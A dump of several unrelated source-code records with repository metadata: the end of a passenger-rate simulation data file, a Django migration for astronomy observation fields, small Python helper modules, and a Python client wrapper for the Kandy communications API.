(5.62665954784899, 11.719233409090908, 9.380161793059125, 4.974632608695652, 2.8867673076923075, 0.0, 8.468373913043479, 11.54706923076923, 7.461948913043478, 6.25344119537275, 2.929808352272727, 0.0), # 24
(5.648790057067603, 11.757391493055556, 9.391050168701799, 4.980767663043478, 2.8915024038461534, 0.0, 8.463425611413044, 11.566009615384614, 7.471151494565217, 6.260700112467866, 2.939347873263889, 0.0), # 25
(5.669507813871817, 11.79115838383838, 9.400033419023135, 4.985834782608695, 2.8954153846153843, 0.0, 8.458397826086957, 11.581661538461537, 7.478752173913043, 6.266688946015424, 2.947789595959595, 0.0), # 26
(5.688775252414398, 11.820418380681815, 9.40707828566838, 4.989812771739131, 2.8984889423076923, 0.0, 8.453290964673915, 11.593955769230769, 7.484719157608696, 6.271385523778919, 2.9551045951704538, 0.0), # 27
(5.7065548068481124, 11.84505578282828, 9.412151510282778, 4.992680434782609, 2.9007057692307687, 0.0, 8.448105434782608, 11.602823076923075, 7.489020652173913, 6.274767673521851, 2.96126394570707, 0.0), # 28
(5.722808911325724, 11.864954889520202, 9.415219834511568, 4.994416576086956, 2.902048557692307, 0.0, 8.44284164402174, 11.608194230769229, 7.491624864130435, 6.276813223007712, 2.9662387223800506, 0.0), # 29
(5.7375, 11.879999999999999, 9.41625, 4.995, 2.9025, 0.0, 8.4375, 11.61, 7.4925, 6.277499999999999, 2.9699999999999998, 0.0), # 30
(5.751246651214834, 11.892497471590906, 9.415477744565216, 4.994894632352941, 2.9023357180851064, 0.0, 8.430077267616193, 11.609342872340426, 7.492341948529411, 6.276985163043476, 2.9731243678977264, 0.0), # 31
(5.7646965153452685, 11.904829772727274, 9.413182826086956, 4.994580588235293, 2.901846382978723, 0.0, 8.418644565217393, 11.607385531914892, 7.49187088235294, 6.275455217391303, 2.9762074431818184, 0.0), # 32
(5.777855634590792, 11.916995369318181, 9.40939801630435, 4.994060955882353, 2.9010372606382977, 0.0, 8.403313830584706, 11.60414904255319, 7.491091433823529, 6.272932010869566, 2.9792488423295453, 0.0), # 33
(5.790730051150895, 11.928992727272727, 9.40415608695652, 4.993338823529412, 2.899913617021276, 0.0, 8.38419700149925, 11.599654468085104, 7.490008235294118, 6.269437391304347, 2.9822481818181816, 0.0), # 34
(5.803325807225064, 11.940820312499996, 9.39748980978261, 4.9924172794117645, 2.898480718085106, 0.0, 8.361406015742128, 11.593922872340425, 7.488625919117647, 6.264993206521739, 2.985205078124999, 0.0), # 35
(5.815648945012788, 11.952476590909091, 9.389431956521738, 4.9912994117647065, 2.896743829787234, 0.0, 8.335052811094453, 11.586975319148936, 7.486949117647059, 6.259621304347825, 2.988119147727273, 0.0), # 36
(5.8277055067135555, 11.96396002840909, 9.380015298913044, 4.989988308823529, 2.8947082180851056, 0.0, 8.305249325337332, 11.578832872340422, 7.484982463235293, 6.253343532608695, 2.9909900071022726, 0.0), # 37
(5.839501534526853, 11.97526909090909, 9.369272608695653, 4.988487058823529, 2.89237914893617, 0.0, 8.272107496251873, 11.56951659574468, 7.4827305882352935, 6.246181739130434, 2.9938172727272727, 0.0), # 38
(5.851043070652174, 11.986402244318182, 9.357236657608695, 4.98679875, 2.8897618882978717, 0.0, 8.23573926161919, 11.559047553191487, 7.480198125, 6.23815777173913, 2.9966005610795454, 0.0), # 39
(5.862336157289003, 11.997357954545455, 9.343940217391305, 4.984926470588235, 2.886861702127659, 0.0, 8.196256559220389, 11.547446808510635, 7.477389705882353, 6.22929347826087, 2.999339488636364, 0.0), # 40
(5.873386836636828, 12.008134687499997, 9.329416059782607, 4.982873308823529, 2.8836838563829783, 0.0, 8.153771326836583, 11.534735425531913, 7.474309963235294, 6.219610706521738, 3.002033671874999, 0.0), # 41
(5.88420115089514, 12.01873090909091, 9.31369695652174, 4.980642352941176, 2.880233617021277, 0.0, 8.108395502248875, 11.520934468085107, 7.4709635294117644, 6.209131304347826, 3.0046827272727277, 0.0), # 42
(5.894785142263428, 12.02914508522727, 9.296815679347825, 4.978236691176471, 2.8765162499999994, 0.0, 8.060241023238381, 11.506064999999998, 7.467355036764706, 6.1978771195652165, 3.0072862713068176, 0.0), # 43
(5.905144852941176, 12.03937568181818, 9.278805, 4.975659411764705, 2.8725370212765955, 0.0, 8.009419827586207, 11.490148085106382, 7.4634891176470575, 6.1858699999999995, 3.009843920454545, 0.0), # 44
(5.915286325127877, 12.049421164772726, 9.259697690217394, 4.972913602941176, 2.8683011968085106, 0.0, 7.956043853073464, 11.473204787234042, 7.459370404411764, 6.1731317934782615, 3.0123552911931815, 0.0), # 45
(5.925215601023019, 12.059280000000001, 9.239526521739132, 4.970002352941176, 2.8638140425531913, 0.0, 7.90022503748126, 11.455256170212765, 7.455003529411765, 6.159684347826087, 3.0148200000000003, 0.0), # 46
(5.934938722826087, 12.06895065340909, 9.218324266304347, 4.966928749999999, 2.859080824468085, 0.0, 7.842075318590705, 11.43632329787234, 7.450393124999999, 6.145549510869564, 3.0172376633522724, 0.0), # 47
(5.944461732736574, 12.07843159090909, 9.196123695652174, 4.9636958823529405, 2.854106808510638, 0.0, 7.7817066341829095, 11.416427234042551, 7.445543823529412, 6.130749130434782, 3.0196078977272727, 0.0), # 48
(5.953790672953963, 12.087721278409088, 9.17295758152174, 4.960306838235294, 2.8488972606382976, 0.0, 7.71923092203898, 11.39558904255319, 7.4404602573529415, 6.115305054347826, 3.021930319602272, 0.0), # 49
(5.96293158567775, 12.096818181818177, 9.148858695652175, 4.956764705882353, 2.8434574468085105, 0.0, 7.65476011994003, 11.373829787234042, 7.43514705882353, 6.099239130434783, 3.0242045454545443, 0.0), # 50
(5.971890513107417, 12.105720767045453, 9.123859809782608, 4.953072573529411, 2.837792632978723, 0.0, 7.588406165667167, 11.351170531914892, 7.429608860294118, 6.082573206521738, 3.026430191761363, 0.0), # 51
(5.980673497442456, 12.114427499999998, 9.097993695652173, 4.949233529411764, 2.8319080851063827, 0.0, 7.5202809970015, 11.32763234042553, 7.4238502941176465, 6.065329130434781, 3.0286068749999995, 0.0), # 52
(5.989286580882353, 12.122936846590909, 9.071293125, 4.945250661764706, 2.8258090691489364, 0.0, 7.450496551724138, 11.303236276595745, 7.417875992647058, 6.04752875, 3.030734211647727, 0.0), # 53
(5.9977358056266, 12.13124727272727, 9.043790869565216, 4.941127058823529, 2.8195008510638297, 0.0, 7.379164767616192, 11.278003404255319, 7.411690588235294, 6.0291939130434775, 3.0328118181818176, 0.0), # 54
(6.00602721387468, 12.139357244318182, 9.015519701086955, 4.93686580882353, 2.8129886968085103, 0.0, 7.306397582458771, 11.251954787234041, 7.405298713235295, 6.010346467391304, 3.0348393110795455, 0.0), # 55
(6.014166847826087, 12.147265227272724, 8.986512391304348, 4.9324699999999995, 2.8062778723404254, 0.0, 7.232306934032984, 11.225111489361701, 7.398705, 5.991008260869565, 3.036816306818181, 0.0), # 56
(6.022160749680308, 12.154969687500001, 8.95680171195652, 4.927942720588234, 2.7993736436170207, 0.0, 7.15700476011994, 11.197494574468083, 7.391914080882352, 5.9712011413043475, 3.0387424218750003, 0.0), # 57
(6.030014961636829, 12.16246909090909, 8.926420434782608, 4.923287058823529, 2.792281276595744, 0.0, 7.0806029985007495, 11.169125106382976, 7.384930588235295, 5.950946956521738, 3.0406172727272724, 0.0), # 58
(0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0), # 59
)
passenger_allighting_rate = (
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 0
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 1
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 2
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 3
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 4
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 5
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 6
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 7
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 8
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 9
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 10
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 11
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 12
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 13
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 14
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 15
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 16
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 17
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 18
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 19
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 20
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 21
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 22
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 23
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 24
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 25
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 26
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 27
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 28
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 29
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 30
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 31
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 32
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 33
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 34
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 35
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 36
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 37
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 38
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 39
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 40
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 41
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 42
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 43
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 44
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 45
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 46
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 47
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 48
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 49
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 50
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 51
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 52
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 53
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 54
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 55
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 56
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 57
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 58
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 59
)
"""
parameters for reproducibiliy. More information: https://numpy.org/doc/stable/reference/random/parallel.html
"""
#initial entropy
entropy = 258194110137029475889902652135037600173
#index for seed sequence child
child_seed_index = (
1, # 0
5, # 1
)
| 113.510448 | 213 | 0.730079 | 5,147 | 38,026 | 5.391684 | 0.237614 | 0.31134 | 0.246478 | 0.46701 | 0.327916 | 0.326259 | 0.326259 | 0.326259 | 0.326259 | 0.326259 | 0 | 0.819766 | 0.118708 | 38,026 | 334 | 214 | 113.850299 | 0.008325 | 0.031847 | 0 | 0.202532 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.015823 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
8b76cb94c00e33a4c6f1fd2f14226cda4f2c4050 | 1,885 | py | Python | skytour/skytour/apps/solar_system/migrations/0015_alter_asteroidobservation_seeing_and_more.py | ursomniac/skytour | 3320d96d7ca41b8f52ede87e7112477902a37a0e | [
"MIT"
] | null | null | null | skytour/skytour/apps/solar_system/migrations/0015_alter_asteroidobservation_seeing_and_more.py | ursomniac/skytour | 3320d96d7ca41b8f52ede87e7112477902a37a0e | [
"MIT"
] | 1 | 2022-03-17T01:19:23.000Z | 2022-03-17T01:19:23.000Z | skytour/skytour/apps/solar_system/migrations/0015_alter_asteroidobservation_seeing_and_more.py | ursomniac/skytour | 3320d96d7ca41b8f52ede87e7112477902a37a0e | [
"MIT"
] | null | null | null | # Generated by Django 4.0.1 on 2022-02-03 18:43
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('solar_system', '0014_asteroidobservation_eyepieces_and_more'),
]
operations = [
migrations.AlterField(
model_name='asteroidobservation',
name='seeing',
field=models.PositiveIntegerField(blank=True, choices=[(5, '5 = Excellent: stable diffraction rings'), (4, '4 = Good: light undulations across diffraction rings'), (3, '3 = Fair: broken diffraction rings; central disk deformations'), (2, '2 = Poor: (partly) missing diffraction rings; eddy streams in central disk'), (1, '1 = Fail: boiling image; no sign of diffraction pattern')], null=True, verbose_name='Seeing'),
),
migrations.AlterField(
model_name='cometobservation',
name='seeing',
field=models.PositiveIntegerField(blank=True, choices=[(5, '5 = Excellent: stable diffraction rings'), (4, '4 = Good: light undulations across diffraction rings'), (3, '3 = Fair: broken diffraction rings; central disk deformations'), (2, '2 = Poor: (partly) missing diffraction rings; eddy streams in central disk'), (1, '1 = Fail: boiling image; no sign of diffraction pattern')], null=True, verbose_name='Seeing'),
),
migrations.AlterField(
model_name='planetobservation',
name='seeing',
field=models.PositiveIntegerField(blank=True, choices=[(5, '5 = Excellent: stable diffraction rings'), (4, '4 = Good: light undulations across diffraction rings'), (3, '3 = Fair: broken diffraction rings; central disk deformations'), (2, '2 = Poor: (partly) missing diffraction rings; eddy streams in central disk'), (1, '1 = Fail: boiling image; no sign of diffraction pattern')], null=True, verbose_name='Seeing'),
),
]
| 65 | 428 | 0.669496 | 220 | 1,885 | 5.686364 | 0.318182 | 0.153477 | 0.059952 | 0.069544 | 0.796962 | 0.796962 | 0.796962 | 0.796962 | 0.796962 | 0.796962 | 0 | 0.03258 | 0.202122 | 1,885 | 28 | 429 | 67.321429 | 0.799202 | 0.023873 | 0 | 0.545455 | 1 | 0 | 0.536453 | 0.023395 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.045455 | 0 | 0.181818 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
8b79bfef782175638c1f82700f8ad91496fcd0c3 | 89 | py | Python | amadeus/query/qperson.py | basic60/BOP2017_QualificationRound | 77a6b026ef066f9734c3b0d23c97eb6feb03d010 | [
"MIT"
] | null | null | null | amadeus/query/qperson.py | basic60/BOP2017_QualificationRound | 77a6b026ef066f9734c3b0d23c97eb6feb03d010 | [
"MIT"
] | null | null | null | amadeus/query/qperson.py | basic60/BOP2017_QualificationRound | 77a6b026ef066f9734c3b0d23c97eb6feb03d010 | [
"MIT"
] | null | null | null | _query_person=['谁','人']
# 判断是否是在查询人
def isqperson(word):
return word in _query_person | 22.25 | 32 | 0.730337 | 13 | 89 | 4.692308 | 0.769231 | 0.360656 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.134831 | 89 | 4 | 32 | 22.25 | 0.792208 | 0.101124 | 0 | 0 | 0 | 0 | 0.025316 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0.333333 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
8b9bba5a5085289e67d914ae72767bc1eb3cfefd | 132 | py | Python | krrt/sat/__init__.py | QuMuLab/krtoolkit | a09525cb4835dc06eedf79f7465ee5da527cbb0d | [
"MIT"
] | 3 | 2020-07-25T12:38:49.000Z | 2021-11-16T02:16:37.000Z | krrt/sat/__init__.py | QuMuLab/krtoolkit | a09525cb4835dc06eedf79f7465ee5da527cbb0d | [
"MIT"
] | 8 | 2020-04-04T18:05:17.000Z | 2020-04-04T18:09:19.000Z | krrt/sat/__init__.py | QuMuLab/krtoolkit | a09525cb4835dc06eedf79f7465ee5da527cbb0d | [
"MIT"
] | 2 | 2020-07-26T10:53:48.000Z | 2020-08-14T19:11:48.000Z | # The following are the current sat modules available
from . import CNF
from . import Dimacs
from . import DPLL
from . import dDNNF
| 22 | 53 | 0.772727 | 20 | 132 | 5.1 | 0.65 | 0.392157 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.189394 | 132 | 5 | 54 | 26.4 | 0.953271 | 0.386364 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
8ba570bf956a20f7f3db2937ce8929b7b111b52e | 16,429 | py | Python | Domain.py | saiprasad1996/KandyAPIPython | 414fa3f74bce5f23d848f8359c1692b856722727 | [
"MIT"
] | null | null | null | Domain.py | saiprasad1996/KandyAPIPython | 414fa3f74bce5f23d848f8359c1692b856722727 | [
"MIT"
] | null | null | null | Domain.py | saiprasad1996/KandyAPIPython | 414fa3f74bce5f23d848f8359c1692b856722727 | [
"MIT"
] | null | null | null | import requests
import Constants
class Domain:
api_key = None
domain_api_secret = None
domain_access_token = None
def __init__(self, api_key, api_secret):
"""
:param api_key: API key from the kandy accounts section for a project
:param api_secret: API secret from the kandy accounts section for a project
"""
self.api_key = api_key
self.domain_api_secret = api_secret
def get_access_token(self, give_json=False):
"""
:param give_json: Returns Json object as python in-built List/Dictionary if true else returns Json as text
:return: Json text or Json Object depending upon give_json parameter
"""
url = Constants.BASE_URL + "domains/accesstokens"
response = requests.get(url=url, params={'key': self.api_key, 'domain_api_secret': self.domain_api_secret})
json_obj = response.json()
self.domain_access_token = json_obj["result"]["domain_access_token"]
if give_json:
return json_obj
else:
return response.text
def delete_access_token(self, give_json=False):
"""
:param give_json: Returns Json object as python in-built List/Dictionary if true else returns Json as text
:return: Json text or Json Object depending upon give_json parameter
"""
url = Constants.BASE_URL + "domains/accesstokens"
response = requests.delete(url=url, params={"key": self.api_key, "domain_api_secret": self.domain_api_secret,
"domain_access_token": self.domain_access_token})
if give_json:
return response.json()
else:
return response.text
def get_limited_domain_detail(self, give_json=False):
"""
:param give_json: Returns Json object as python in-built List/Dictionary if true else returns Json as text
:return: Json text or Json Object depending upon give_json parameter
"""
url = Constants.BASE_URL + "accounts/domains/details"
response = requests.get(url=url, params={'key': self.api_key, 'domain_access_token': self.domain_access_token,
'domain_api_secret': self.domain_api_secret})
if give_json:
return response.json()
else:
return response.text
def create_user_by_phno(self, user_phno, user_country_code, user_first_name=None, user_last_name=None,
user_email=None, user_password=None, give_json=False):
"""
:param user_phno: Local phone number of the user in the JSON body.
:param user_country_code: 2 letter user country code .
:param user_first_name: First Name of the user
:param user_last_name: Last Name of the user
:param user_email: Email address of the User
:param user_password: User password. (8-20 characters, at least 1 letter, at least 2 digits, and characters ! @ ( ) & ' - . , ? ^ _ are allowed, if not provided the platform will generate it)
:param give_json: Returns Json object as python in-built List/Dictionary if true else returns Json as text
:return: Json text or Json Object depending upon give_json parameter
"""
url = Constants.BASE_URL + "domains/users/phone_number"
json_body = {"user_phone_number": user_phno,
"user_country_code": user_country_code,
"user_first_name": user_first_name,
"user_last_name": user_last_name,
"user_password": user_password}
response = requests.post(url=url, params={"key": self.domain_access_token}, json=json_body)
if give_json:
return response.json()
else:
return response.text
def create_user_by_userid(self, user_id, user_country_code, user_first_name=None, user_last_name=None,
user_email=None, user_password=None, give_json=False):
"""
:param user_id:
:param user_country_code:
:param user_first_name:
:param user_last_name:
:param user_email:
:param user_password:
:param give_json: Returns Json object as python in-built List/Dictionary if true else returns Json as text
:return: Json text or Json Object depending upon give_json parameter
"""
url = Constants.BASE_URL + "domains/users/user_id"
response = requests.post(url=url, params={"key": self.domain_access_token},
json={"user_id": user_id,
"user_country_code": user_country_code,
"user_first_name": user_first_name,
"user_last_name": user_last_name,
"user_email": user_email,
"user_password": user_password
})
if give_json:
return response.json()
else:
return response.text
def delete_user(self, user_api_key=None, user_id=None, user_password=None, give_json=False):
"""
:param user_api_key:
:param user_id:
:param user_password:
:param give_json: Returns Json object as python in-built List/Dictionary if true else returns Json as text
:return: Json text or Json Object depending upon give_json parameter
"""
url = Constants.BASE_URL + "domains/users"
response = requests.delete(url=url, params={"key": self.domain_access_token,
"user_api_key": user_api_key,
"user_id": user_id,
"user_password": user_password})
if give_json:
return response.json()
else:
return response.text
def get_list_of_users(self, give_json=False):
"""
:param give_json: Returns Json object as python in-built List/Dictionary if true else returns Json as text
:return: Json text or Json Object of list of users depending upon give_json parameter
"""
url = Constants.BASE_URL + "domains/users"
